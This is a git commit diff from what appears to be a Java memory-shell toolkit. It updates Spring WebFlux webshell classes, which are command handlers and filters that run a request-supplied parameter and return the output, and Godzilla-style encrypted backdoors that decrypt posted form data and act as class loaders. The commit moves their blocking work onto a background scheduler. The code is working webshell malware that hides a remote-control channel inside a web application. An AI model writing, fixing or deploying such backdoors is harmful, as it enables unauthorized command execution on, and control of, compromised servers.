fix: webfilter and handler broken business

This commit is contained in:
ReaJason
2026-08-25 22:08:36 +08:00
parent f962da2807
commit 77acbf0bf5
6 changed files with 133 additions and 104 deletions
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.util.Optional;
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
if (p == null || p.isEmpty()) {
p = request.headers().firstHeader(paramName);
}
final String paramValue = p;
Mono<String> resultMono = Mono.fromCallable(() -> {
String result = "";
try {
if (p != null) {
String param = getParam(p);
if (paramValue != null) {
String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
}
return ServerResponse.ok().body(Mono.just(result), String.class);
return result;
}).subscribeOn(Schedulers.boundedElastic());
return ServerResponse.ok().body(resultMono, String.class);
}
private String getParam(String param) {
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.util.Scanner;
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
if (p == null || p.isEmpty()) {
p = exchange.getRequest().getHeaders().getFirst(paramName);
}
final String paramValue = p;
Mono<String> resultMono = Mono.fromCallable(() -> {
String result = "";
try {
if (p != null) {
String param = getParam(p);
if (paramValue != null) {
String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
}
return ResponseEntity.ok(result);
return result;
}).subscribeOn(Schedulers.boundedElastic());
return ResponseEntity.ok(resultMono);
}
private String getParam(String param) {
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
@@ -26,7 +27,9 @@ public class CommandWebFilter implements WebFilter {
if (p == null) {
return chain.filter(exchange);
}
String param = getParam(p);
final String paramValue = p;
return Mono.fromCallable(() -> {
String param = getParam(paramValue);
String result = "";
try {
InputStream inputStream = getInputStream(param);
@@ -34,7 +37,10 @@ public class CommandWebFilter implements WebFilter {
} catch (Throwable e) {
e.printStackTrace();
}
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
return result;
}).subscribeOn(Schedulers.boundedElastic())
.flatMap(result -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
}
private String getParam(String param) {
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.util.MultiValueMap;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -35,7 +37,13 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
if (value == null || !value.contains(headerValue)) {
return Mono.empty();
}
Object bufferStream = request.formData().flatMap(map -> {
Mono<String> bufferStream = request.formData()
.flatMap(map -> Mono.fromCallable(() -> process(map, request))
.subscribeOn(Schedulers.boundedElastic()));
return ServerResponse.ok().body(bufferStream, String.class);
}
private String process(MultiValueMap<String, String> map, ServerRequest request) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
@@ -57,12 +65,9 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
return ServerResponse.ok().body(bufferStream, String.class);
return result.toString();
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.http.ResponseEntity;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -33,7 +35,13 @@ public class GodzillaHandlerMethod extends ClassLoader {
if (value == null || !value.contains(headerValue)) {
return ResponseEntity.notFound().build();
}
Object bufferStream = exchange.getFormData().flatMap(map -> {
Mono<String> bufferStream = exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()));
return ResponseEntity.ok(bufferStream);
}
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
@@ -55,9 +63,7 @@ public class GodzillaHandlerMethod extends ClassLoader {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
return ResponseEntity.ok(bufferStream);
return result.toString();
}
@SuppressWarnings("all")
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -39,12 +39,14 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange);
}
return exchange.getResponse().writeWith(getPost(exchange));
return exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()))
.flatMap(bytes -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
}
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
return formData.flatMap(map -> {
private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
@@ -66,8 +68,7 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
e.printStackTrace();
result.append(getErrorMessage(e));
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
return result.toString().getBytes(StandardCharsets.UTF_8);
}
@SuppressWarnings("all")